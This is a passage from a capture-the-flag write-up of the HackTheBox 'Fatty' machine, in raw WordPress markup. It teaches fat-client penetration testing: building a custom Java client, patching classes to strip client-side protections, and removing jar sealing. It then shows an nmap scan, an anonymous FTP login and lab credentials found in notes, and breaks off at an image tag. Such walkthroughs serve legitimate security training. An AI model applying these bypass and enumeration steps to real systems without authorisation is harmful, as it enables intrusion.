-->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li><strong>The Top-Down Approach<\/strong>&nbsp;\u2013 In this approach you search for the&nbsp;<em>Java&nbsp;<\/em>class that implements the&nbsp;<code>main<\/code>&nbsp;method. The manifest of a&nbsp;<em>.jar<\/em>&nbsp;file can often tell you where the&nbsp;<em><code>main<\/code><\/em>&nbsp;method is defined, since it contains a&nbsp;<code>Main-Method<\/code>attribute. Once you have identified the&nbsp;<em>main<\/em>&nbsp;method, you just try to understand what the client is doing on startup and try to find your way down to the connection related classes. This approach is suitable for clients with a relatively small codebase. If the client is too big, you might get lost trailing down the paths of all the different classes.<\/li><li><strong>The Bottom-Up Approach<\/strong>&nbsp;\u2013 In this approach you start by searching for the connection specific classes. This can be done by looking for specific keywords like&nbsp;<em>connect<\/em>,&nbsp;<em>session<\/em>&nbsp;or things like the server name, port and so on. Usually you find the classes you are searching for rather quickly and can then start to understand how they are used by the client. This approach works great for clients with a rich codebase, since you start directly from the point you are interested in. However, it is more complicated to understand the relationships between different classes.<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>After you spent enough time on the source code of the client, you should be able to answer the following questions:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Which classes and functions are used to establish the connection to the remote server?<\/li><li>What is the resulting object of a successful connection?<\/li><li>How is the resulting connection object used to invoke methods on the remote server?<\/li><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>If you feel confident to answer these questions or you are able to explain why they do not apply to your current<em>&nbsp;fat client<\/em>, you are ready to start building your own client.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 id=\"building-own-client\">2.3.5 \u2013 Building a own Client<\/h4>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Building a own&nbsp;<em>Java&nbsp;<\/em>client sounds quite scary and before we start I want to clarify what do we actually mean by this.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A&nbsp;<em>Java&nbsp;<\/em>fat client is nothing else than an composition of&nbsp;<em>Java classes&nbsp;<\/em>and&nbsp;<em>functions<\/em>&nbsp;that are bundled into one or more&nbsp;<em>.jar<\/em>&nbsp;files. There are certain functions that are responsible for spawning the graphical user interface, there are certain functions responsible to access local resources and there are certain functions that are responsible for communicating with the remote server. Instead of writing a&nbsp;<em>Java&nbsp;<\/em>client fully on our own, we simply utilize the classes that are already present. By importing the code of the&nbsp;<em>fat client<\/em>, we can access all the methods and classes that are defined inside of it and simply imitate the startup code of the client.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like mentioned before, we are mostly interested in controlling the communication channel between client and server. When starting the&nbsp;<em>fat client<\/em>normally, it invokes its contained functions in a particular order. E.g. first of all functions are called to load local configuration files. Then the graphical user interface is spawned and finally a connection attempt to the server is made. As pentesters, we are not interested in most of this stuff. We do not require a graphical user interface, but just want to setup the connection to the remote server. Therefore, we have to reorder and to reduce the&nbsp;<em>fat client<\/em>&nbsp;code to the function calls that are required to setup a working connection.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Building an own client is probably the most fun step about&nbsp;<em>fat client&nbsp;<\/em>assessments and it is usually the door opener. Often you will spend 80% of your time in understanding the connection model and how to build your own client. This can be super frustrating, since you see no real progress over a long amount of time. However, once your own client is working, the actual identification and exploitation of vulnerabilities goes rather quickly. The main two benefits of having a own working client are:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>You do not have to understand \/ extract \/ modify the underlying transfer protocol between client and server. Often&nbsp;<em>fat client<\/em>&nbsp;vendors develop their own binary protocols, that may also utilize encryption and signing. By building your own client, you simply invoke functions on the corresponding classes that are shipped by the&nbsp;<em>fat client<\/em>. You do not have to care about the low level implementation details, but instead invoke high level methods to get the job done.<\/li><li>By building your own client, you circumvent all client side protection mechanisms. Like already said, many fat clients implement access control only on the client side by disabling corresponding functionalities inside the graphical user interface. In your own client you can skip all the GUI related stuff and just invoke the methods directly, that are normally launched by a click in the GUI. This gives you much more freedom and also a totally differed view on the clients functionalities.<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>In this short introduction, I do not want to show you the full process of writing your own client. Later when discussing&nbsp;<em>Fatty<\/em>, you will see a practical example that goes into more detail on this. Instead I want to show you how you can use&nbsp;<em>Eclipse IDE<\/em>&nbsp;to access the classes and functions that are defined in a&nbsp;<em>.jar<\/em>&nbsp;file. In general, the approach for building your own client is not&nbsp;<em>IDE<\/em>&nbsp;dependent. You could also do it from scratch by just using your command line. However, I strongly recommend to use an&nbsp;<em>IDE<\/em>, since it makes the process much easier.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As an example, we assume that we have determined the class&nbsp;<code>htb.fatty.client.connection.Connection<\/code>&nbsp;to be responsible for the connection setup to the remote server. We want to call functions from this class in our own code, but by simply using an import statement in our&nbsp;<em>Java&nbsp;<\/em>code, we get an error that the corresponding class is missing.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15428,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/05.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/05-1024x267.png\" alt=\"\" class=\"wp-image-15428\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>To fix this issue we need to import the classes that are defined in the&nbsp;<em>.jar&nbsp;<\/em>file. In&nbsp;<em>Eclipse<\/em>, you can do this by configuring your build path. Just right-click the&nbsp;<em>JRE System Library<\/em>&nbsp;field in the&nbsp;<em>package-explorer<\/em>, go to the field&nbsp;<em>Build Path<\/em>&nbsp;and select&nbsp;<em>Configure Build Path<\/em>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15430,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/06.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/06-1024x408.png\" alt=\"\" class=\"wp-image-15430\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>After clicking, a new menu should pop up which supports different Build Path modifications. To add classes that are contained in a&nbsp;<em>.jar<\/em>&nbsp;file, use the&nbsp;<em>Add External Jar<\/em>&nbsp;field. This allows you to add a specific&nbsp;<em>.jar<\/em>&nbsp;file from your file system. You can also select multiple&nbsp;<em>jars<\/em>, which is helpful for clients consisting out of more than one&nbsp;<em>.jar<\/em>&nbsp;file.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>With the .jar in your&nbsp;<em>Build Path<\/em>, you should now be able to use the classes defined inside the&nbsp;<em>.jar<\/em>&nbsp;file.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15432,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/07.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/07-1024x273.png\" alt=\"\" class=\"wp-image-15432\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>Now you can start to build your own client by using the classes that are defined inside the source code of the<em>&nbsp;fat client<\/em>. A simple proof of concept is to write an own class that contains a&nbsp;<em>main&nbsp;<\/em>function and simply launches the&nbsp;<em>main&nbsp;<\/em>function that is defined by the client. If everything works like expected, you should see the ordinary graphical user interface popping up. From here it is your job to reduce and reorder the original code from the&nbsp;<em>fat client<\/em>&nbsp;to get a own working minimal&nbsp;<em>Java&nbsp;<\/em>client.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 id=\"patching-classes\">2.3.6 \u2013 Patching Classes<\/h4>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Sometimes it can be helpful to patch classes, e.g. to disable some client side protection mechanisms. Remember that your own client basically relies on method invocations of classes defined inside the&nbsp;<em>.jar<\/em>&nbsp;file of the&nbsp;<em>fat client<\/em>. By default, these methods may implement some filtering or other protections that are an obstacle for your attack. By patching the class, you can modify its methods and disable the protection mechanisms.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patching classes is normally not a big deal. Imagine you have the class&nbsp;<code>htb.fatty.client.example.Test<\/code>&nbsp;defined inside the&nbsp;<em>.jar<\/em>&nbsp;file and you want to modify the code of it a little bit. In this case, you can simply add the package&nbsp;<code>htb.fatty.client.example<\/code>&nbsp;to your&nbsp;<em>Eclipse project<\/em>, create the class&nbsp;<code>Test<\/code>inside of it and copy the decompiled Java code from the original class. When Eclipse tries to resolve a class, it will prefer the one that is defined in your local project, instead of class that is defined in an external&nbsp;<em>.jar<\/em>&nbsp;file. Therefore, any modification that you make to your local class&nbsp;<code>Test<\/code>&nbsp;should directly apply for your own&nbsp;<em>Java&nbsp;<\/em>client.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That being said, there is one obstacle you may encounter when patching classes from the client and this obstacle is called&nbsp;<code>Sealing<\/code>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 id=\"defeating-sealed-jars\">2.3.7 \u2013 Defeating Sealed Jars<\/h4>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Sealing is an additional feature for&nbsp;<em>.jar<\/em>&nbsp;files, that tries to prevent errors in the presence of ambiguous class names. In contrast to singing, it is not really a security feature, but it can be annoying when you try to patch classes from a&nbsp;<em>fat client<\/em>. A sealed&nbsp;<em>.jar<\/em>&nbsp;file contains an additional field inside of its&nbsp;<code>MANIFEST.MF<\/code>, which is simply&nbsp;<code>Sealed: True<\/code>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When a&nbsp;<em>.jar<\/em>&nbsp;file is sealed, the author basically says that the packages inside the&nbsp;<em>.jar<\/em>&nbsp;file are self contained. Therefore, it is not allowed to define local instances or additional classes for this package outside of the&nbsp;<em>.jar<\/em>&nbsp;file. If you think that this is confusing, you are probably right and I guess an example is required to really understand it:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Consider that we want again to patch the class&nbsp;<code>htb.fatty.client.example.Test<\/code>. Inside&nbsp;<em>Eclipse<\/em>, we create our own package&nbsp;<code>htb.fatty.client.example<\/code>&nbsp;and define the class<code>Test<\/code>. If&nbsp;<code>Test<\/code>&nbsp;is the only class in the&nbsp;<code>example<\/code>&nbsp;packe, we do not get any problems with sealing. However, imagine that the package&nbsp;<code>htb.fatty.client.example<\/code>&nbsp;does contain another class&nbsp;<code>Test2<\/code>. Now we get into troubles. Our client will try to load&nbsp;<code>Test<\/code>&nbsp;from our local projet and&nbsp;<code>Test2<\/code>&nbsp;from the&nbsp;<em>.jar<\/em>&nbsp;file. But since the&nbsp;<em>.jar<\/em>file is sealed,&nbsp;<em>Java<\/em>&nbsp;knows that it should be self contained and does not allow definitions to&nbsp;<code>htb.fatty.client.example<\/code>&nbsp;outside of the&nbsp;<em>.jar<\/em>&nbsp;file. If you run a&nbsp;<em>Java&nbsp;<\/em>executable that violates sealing rules, it will die and throw a corresponding exception.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As in the case of signing, you can get around sealing by simply modifying the&nbsp;<em>.jar<\/em>&nbsp;file. Just follow the same procedure we described above to unpack the&nbsp;<em>.jar<\/em>file, remove the&nbsp;<code>Sealed: True<\/code>&nbsp;field from the&nbsp;<code>MANIFEST.MF<\/code>&nbsp;file and pack your&nbsp;<em>.jar<\/em>&nbsp;file again. After these steps, all sealing violations should be gone.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 id=\"spring-framework\">2.3.8 \u2013 The Spring Framework<\/h4>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The last point I want to discuss in this&nbsp;<em>fat client<\/em>&nbsp;introduction is the&nbsp;<em>Spring framework<\/em>. Actually,&nbsp;<em>Spring&nbsp;<\/em>is not really connected to&nbsp;<em>fat client<\/em>&nbsp;security assessments and there is no guarantee that a&nbsp;<em>fat client<\/em>&nbsp;is using&nbsp;<em>Spring<\/em>. That being said, the&nbsp;<em>Spring framework<\/em>&nbsp;is very popular and many&nbsp;<em>fat clients<\/em>&nbsp;make use of it.&nbsp;<em>Spring&nbsp;<\/em>is super powerful and supports many different functionalities. In the following text we only discuss some features of&nbsp;<em>Spring&nbsp;<\/em>that will help us to solve the&nbsp;<em>Fatty&nbsp;<\/em>machine.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A very common design pattern in&nbsp;<em>Java&nbsp;<\/em>are classes that depend on other classes. For example lets take the&nbsp;<code>Connection<\/code>&nbsp;class of a&nbsp;<em>fat client<\/em>, that is responsible for the connection setup to the remote server. This class may requires other connection relevant information which is stored in other classes. For example, the class&nbsp;<code>Connection<\/code>&nbsp;may requires an object from the&nbsp;<code>ConnectionInformation<\/code>&nbsp;class, that stores the hostname and port of the remote server. Furthermore, it may requires a&nbsp;<code>SecurityManager<\/code>&nbsp;class that stores information on the&nbsp;<em>SSL&nbsp;<\/em>context. Therefore, the constructor of the&nbsp;<code>Connection<\/code>&nbsp;class could look like this:<strong>public<\/strong> Connection( ConnectionInformation cInfo, SecurityManager sManager) { ...}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now consider how to instantiate an object of the&nbsp;<code>Connection<\/code>&nbsp;class inside your code. You could first of all create an object of the&nbsp;<code>ConnectionInformation<\/code>&nbsp;class, then an object of the&nbsp;<code>SecurityManager<\/code>class and finally use both to create an object of the&nbsp;<code>Connection<\/code>&nbsp;class. This works, but defining all this class dependencies manually is a tedious work. Moreover, the&nbsp;<code>ConnectionInformation<\/code>&nbsp;and&nbsp;<code>SecurityManager<\/code>&nbsp;classes may require other objects or information on their own, that need to be present during their creation.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>With the&nbsp;<em>Spring framework<\/em>, such class dependencies can be handled easily by using the&nbsp;<em>Inversion of Control Container (IoC)<\/em>. The&nbsp;<em>IoC<\/em>&nbsp;container is responsible for creating objects, initializing them and especially for managing the dependencies among them. Another keyword that you can find very often in this context is&nbsp;<em>dependency injection<\/em>, which describes the process of managing the dependencies between different objects. Objects created by the&nbsp;<em>IoC<\/em>container are also called&nbsp;<em>Beans<\/em>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So how does&nbsp;<em>Spring&nbsp;<\/em>can help in situations like described above? When using the&nbsp;<em>IoC<\/em>&nbsp;container, you can define the building patterns for objects inside of&nbsp;<em>XML<\/em>&nbsp;files (you can also use&nbsp;<em>Java&nbsp;<\/em>annotations, but I guess the&nbsp;<em>XML&nbsp;<\/em>variant is easier to understand). A corresponding&nbsp;<em>XML&nbsp;<\/em>file for the scenario mentioned above could look like this:<strong>&lt;?xml version = \"1.0\" encoding = \"UTF-8\"?&gt;<\/strong>&lt;<strong>beans<\/strong> xmlns=\"http:\/\/www.springframework.org\/schema\/beans\" xmlns:xsi=\"http:\/\/www.w3.org\/2001\/XMLSchema-instance\" xsi:schemaLocation=\" http:\/\/www.springframework.org\/schema\/beans spring-beans-3.0.xsd\"&gt; &lt;<strong>bean<\/strong> id=\"connectionInformation\" class = \"htb.fatty.shared.connection.ConnectionInformation\"&gt; &lt;<strong>constructor-arg<\/strong> index=\"0\" value = \"sever.to.connect.to\"\/&gt; &lt;<strong>constructor-arg<\/strong> index=\"1\" value = \"8080\"\/&gt; &lt;\/<strong>bean<\/strong>&gt; &lt;<strong>bean<\/strong> id=\"trustManager\" class = \"htb.fatty.shared.connection.TrustManager\"&gt; &lt;<strong>property<\/strong> name = \"keystorePath\" value = \"fatty.p12\"\/&gt; &lt;\/<strong>bean<\/strong>&gt; &lt;<strong>bean<\/strong> id=\"connection\" class = \"htb.fatty.server.connection.Connection\"&gt; &lt;<strong>constructor-arg<\/strong> index = \"0\" ref = \"connectionInformation\"\/&gt; &lt;<strong>constructor-arg<\/strong> index = \"1\" ref = \"trustManager\"\/&gt; &lt;\/<strong>bean<\/strong>&gt;&lt;\/<strong>beans<\/strong>&gt;<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you can see, the&nbsp;<em>XML&nbsp;<\/em>file does define a total of three different&nbsp;<em>beans<\/em>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>The first&nbsp;<em>bean&nbsp;<\/em>is an object of the class&nbsp;<code>ConnectionInformation<\/code>&nbsp;and it takes two additional constructor arguments. The constructor of this class probably looks like this:<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>public<\/strong> ConnectionInformation(<strong>String<\/strong> hostname, <strong>int<\/strong> port) { ... }<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Since the&nbsp;<em>IoC<\/em>&nbsp;container handles object creation for you, it needs to know all parameters that are required by the constructor in order to create an object of the corresponding class. Also notice that the corresponding parameters are marked as&nbsp;<em>constructor-arg<\/em>&nbsp;inside the&nbsp;<em>XML&nbsp;<\/em>file.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true,\"start\":2} -->\n<ol start=\"2\"><li>The second bean is an object of the&nbsp;<code>TrustManager<\/code>&nbsp;class and takes one additional argument. Notice that this time the&nbsp;<em>constructor-arg<\/em>&nbsp;declaration is missing and the&nbsp;<em>property<\/em>&nbsp;keyword is used instead. This form of parameter definition is required for classes that take their parameters through setter functions and not by a constructor. In such cases,&nbsp;<em>Spring&nbsp;<\/em>requires the constructor of the corresponding class to take zero arguments and it expects the presence of a&nbsp;<em>setter function<\/em>&nbsp;with name&nbsp;<code>setParamatername<\/code>&nbsp;(<code>setKeystorePath<\/code>&nbsp;in our example).<\/li><li>So far we only saw&nbsp;<em>beans&nbsp;<\/em>that take static parameters as input arguments. The third&nbsp;<em>bean&nbsp;<\/em>defined inside the&nbsp;<em>XML&nbsp;<\/em>file is an object of the&nbsp;<code>Connection<\/code>class and takes two additional constructor arguments. In contrast to the other&nbsp;<em>beans<\/em>, these two arguments are not just&nbsp;<em>Strings&nbsp;<\/em>or&nbsp;<em>Integers<\/em>, but object instances of other classes. As a reminder, here is the constructor of the&nbsp;<code>Connection<\/code>&nbsp;class:<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>public<\/strong> Connection( ConnectionInformation cInfo, SecurityManager sManager) { ... }<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead of specifying the value of the arguments using the&nbsp;<em>value<\/em>&nbsp;keyword inside the&nbsp;<em>XML&nbsp;<\/em>file, we use the&nbsp;<em>ref<\/em>&nbsp;keyword that can be used to reference other&nbsp;<em>Bean&nbsp;<\/em>definitions. The&nbsp;<em>IoC<\/em>&nbsp;container knows, that it needs to create object instances for the&nbsp;<em>trustManager<\/em>&nbsp;and&nbsp;<em>connectionInformation<\/em>&nbsp;<em>Beans&nbsp;<\/em>first, before it can create the&nbsp;<em>connection<\/em>&nbsp;<em>Bean<\/em>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now that you know how the&nbsp;<em>IoC<\/em>&nbsp;container creates objects&nbsp;<em>Beans<\/em>), we should take a look at how this actually works inside the source code. To show this, consider that the above mentioned&nbsp;<em>XML&nbsp;<\/em>file has been stored as&nbsp;<code>beans.xml<\/code>inside our class path. If we want now to create an object of the&nbsp;<code>Connection<\/code>class using the&nbsp;<em>IoC<\/em>&nbsp;container, we can just make the following calls from our&nbsp;<em>Java&nbsp;<\/em>code:ApplicationContext context = new ClassPathXmlApplicationContext(\"beans.xml\");Connection obj = (Connection) context.getBean(\"connection\");<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Simple, isn\u2019t it? We just load our&nbsp;<em>XML&nbsp;<\/em>configuration file and ask the&nbsp;<em>IoC<\/em>container for the desired&nbsp;<em>Bean<\/em>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Fat clients<\/em>&nbsp;that are using&nbsp;<em>Spring&nbsp;<\/em>can be very dangerous when using the&nbsp;<em>Bottom-Up<\/em>&nbsp;approach for investigating the clients source code. Starting from the low level classes, you will see many class dependencies and may overlook that the client is using&nbsp;<em>Spring&nbsp;<\/em>to wire all of them together. Recognizing that a client is using&nbsp;<em>Spring&nbsp;<\/em>and utilizing it to create complex objects with just a few lines of code can be very important.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"fat-client-conclusions\">2.4 \u2013 Fat Client Conclusions<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>We have now finished our brief tutorial on&nbsp;<em>fat client<\/em>&nbsp;penetration testing. The goal of this introduction was to explain some general concepts and to introduce certain terms that you may encounter during a<em>&nbsp;fat client&nbsp;<\/em>security assessment. If you would ask me to reduce the<em>&nbsp;fat client<\/em>&nbsp;introduction into a single&nbsp;<em>take home message<\/em>&nbsp;I would formulate it like this:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4>Always try to get control of the communication channel between client and server.<\/h4>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This is the most important part of a&nbsp;<em>fat client<\/em>&nbsp;penetration test and once it succeeds, chances are high that you will identify some dangerous vulnerabilities.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That being said, with only the short introduction from above it will still be difficult to engage a real world<em>&nbsp;fat client<\/em>. Practice is probably the most important thing in preparation of a<em>&nbsp;fat client<\/em>&nbsp;assessment.&nbsp;<em>Fatty&nbsp;<\/em>gives you the opportunity to practice most of the above mentioned concepts against a small&nbsp;<em>Java&nbsp;<\/em>client.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 id=\"user-on-fatty\">3.0 \u2013 Getting User on Fatty<\/h2>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Now that we have a basic understanding of&nbsp;<em>fat clients<\/em>, we can finally start to take on the&nbsp;<em>Fatty&nbsp;<\/em>machine. The following sections will show you one example, how you can get access to the&nbsp;<em>Fatty&nbsp;<\/em>application server. However, as with any machine that was configured intentionally vulnerable, there may be other paths that let you takeover the system.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15552,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/fatt-1.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/fatt-1.png\" alt=\"\" class=\"wp-image-15552\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"enumeration\">3.1 \u2013 Starting Enumeration<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As with any other machine, we start with a&nbsp;<em>nmap&nbsp;<\/em>scan to get an overview of the exposed endpoints:[pentester@kali ~]$ sudo nmap -sV -p- 10.10.10.174<strong>Starting<\/strong> Nmap 7.80 ( https:\/\/nmap.org ) at 2020-07-08 00:25 CEST<strong>Nmap<\/strong> scan report for fatty.htb (10.10.10.174)<strong>Host<\/strong> is up (0.032s latency).<strong>Not<\/strong> shown: 65530 closed ports<strong>PORT<\/strong> STATE SERVICE VERSION21\/tcp <strong>open<\/strong> ftp vsftpd 2.0.8 or later22\/tcp <strong>open<\/strong> ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)1337\/tcp <strong>open<\/strong> ssl\/waste?1338\/tcp <strong>open<\/strong> ssl\/wmc-log-svc?1339\/tcp <strong>open<\/strong> ssl\/kjtsiteserver?<strong>Service<\/strong> Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not too much ports open. Starting from the lowest port number, we see that&nbsp;<em>nmap&nbsp;<\/em>prints a relatively old version of&nbsp;<em>vsftpd<\/em>. However, when connecting to the&nbsp;<em>FTP&nbsp;<\/em>server we can see that&nbsp;<em>nmap&nbsp;<\/em>did only made a wild guess:[pentester@kali ~]$ ftp 10.10.10.174<strong>Connected<\/strong> to 10.10.10.174.220 qtc's development server<strong>Name<\/strong> (10.10.10.174:pentester):<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead of returning a banner that contains the server version, the system administrator of this box has changed the banner to some useless text. The actual&nbsp;<em>vsftpd<\/em>&nbsp;version can therefore be much higher than 2.0.8. We could now test some known exploits against the server, but exploiting logical vulnerabilities is far more fun. So lets see if we can login using the anonymous user:<strong>Name<\/strong> (10.10.10.174:pentester): anonymous230 Login successful.<strong>Remote<\/strong> system type is UNIX.<strong>Using<\/strong> binary mode to transfer files.ftp&gt; ls200 PORT command successful. Consider using PASV.150 Here comes the directory listing.-rw-r--r-- 1 ftp ftp 15426727 Oct 30 2019 fatty-client.jar-rw-r--r-- 1 ftp ftp 526 Oct 30 2019 note.txt-rw-r--r-- 1 ftp ftp 426 Oct 30 2019 note2.txt-rw-r--r-- 1 ftp ftp 194 Oct 30 2019 note3.txt226 Directory send OK.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As once can see, the anonymous login is successful and the server offers a bunch of files. First of all, we get a&nbsp;<em>.jar<\/em>&nbsp;file with name&nbsp;<em>fatty-client.jar<\/em>. Since already the introduction was about<em>&nbsp;fat clients<\/em>, you may already assume that this will be the&nbsp;<em>fat client<\/em>&nbsp;we are working with. Additionally, we get a<br>bunch of notes.[pentester@kali ~]$ cat note.txt <strong>Dear<\/strong> members, because of some security issues we moved the port of our fatty java server from 8000 to the hidden and undocumented port 1337. Furthermore, we created two new instances of the server <strong>on<\/strong> port 1338 and 1339. They offer exactly the same server and it would be niceif you use different servers from day to day to balance the server load. <strong>We<\/strong> were too lazy to fix the default port in the '.jar' file, but since you are <strong>all<\/strong> senior java developers you should be capable of doing it yourself ;)<strong>Best<\/strong> regards,qtc[pentester@kali ~]$ cat note2.txt <strong>Dear<\/strong> members, we are currently experimenting with new java layouts. The new client uses a static layout. If yourare using a tiling window manager or only have a limited screen size, try to resize the client windowuntil you see the login from.Furthermore, for compatibility reasons we still rely <strong>on<\/strong> Java 8. Since our company workstations ship Java 11per default, you may need to install it manually.<strong>Best<\/strong> regards, qtc[pentester@kali ~]$ cat note3.txt <strong>Dear<\/strong> members, <strong>We<\/strong> had to remove <strong>all<\/strong> other <strong>user<\/strong> accounts because of some seucrity issues.<strong>Until<\/strong> we have fixed these issues, you can use my account:<strong>User<\/strong>: qtcPass: clarabibi<strong>Best<\/strong> regards,qtc<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Okay, lets summarize the information that we find inside these note files:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>We have to patch our&nbsp;<em>fatty-client.jar<\/em>&nbsp;manually, to connect either to port 1337, 1338 or 1339 of the application server.<\/li><li>If we have struggles with the layout, we should apply some resizing.<\/li><li>We got a valid set of credentials:&nbsp;<em>qtc:clarabibi<\/em>&nbsp;(what else?). Furthermore, we know that all other accounts are disabled.<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>This information is of course pretty valuable for us. Not only we got a set of valid credentials, but also we know what is running behind the ports 1337, 1338 and 1339. Investigating these ports manually does probably not make a whole lot of sense, since the&nbsp;<em>fat client<\/em>&nbsp;may uses a binary protocol to communicate with the server. Instead we should focus on the&nbsp;<em>.jar<\/em>&nbsp;file that we have downloaded from the&nbsp;<em>FTP&nbsp;<\/em>server to communicate with these ports.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"running-fatty\">3.2 \u2013 Getting Fatty Running<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Like mentioned in our brief fat client introduction, step one is always to get the client running. So lets launch the&nbsp;<em>.jar<\/em>&nbsp;file to see what happens without any modifications. At this point, you may already encounter some problems. Make sure to download the&nbsp;<code>fatty-client.jar<\/code>&nbsp;in&nbsp;<em>FTP Binary Mode<\/em>&nbsp;and launch the&nbsp;<em>.jar<\/em>&nbsp;using&nbsp;<em>Java&nbsp;<\/em>version 8. This version of&nbsp;<em>Java&nbsp;<\/em>is old, but still maintained and very common. If you don\u2019t know which version is required by a&nbsp;<em>.jar<\/em>, starting with&nbsp;<em>Java&nbsp;<\/em>8 is usually a good guess. When following these recommendations, you should see the following user interface:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15435,\"linkDestination\":\"custom\"} -->\n<figure 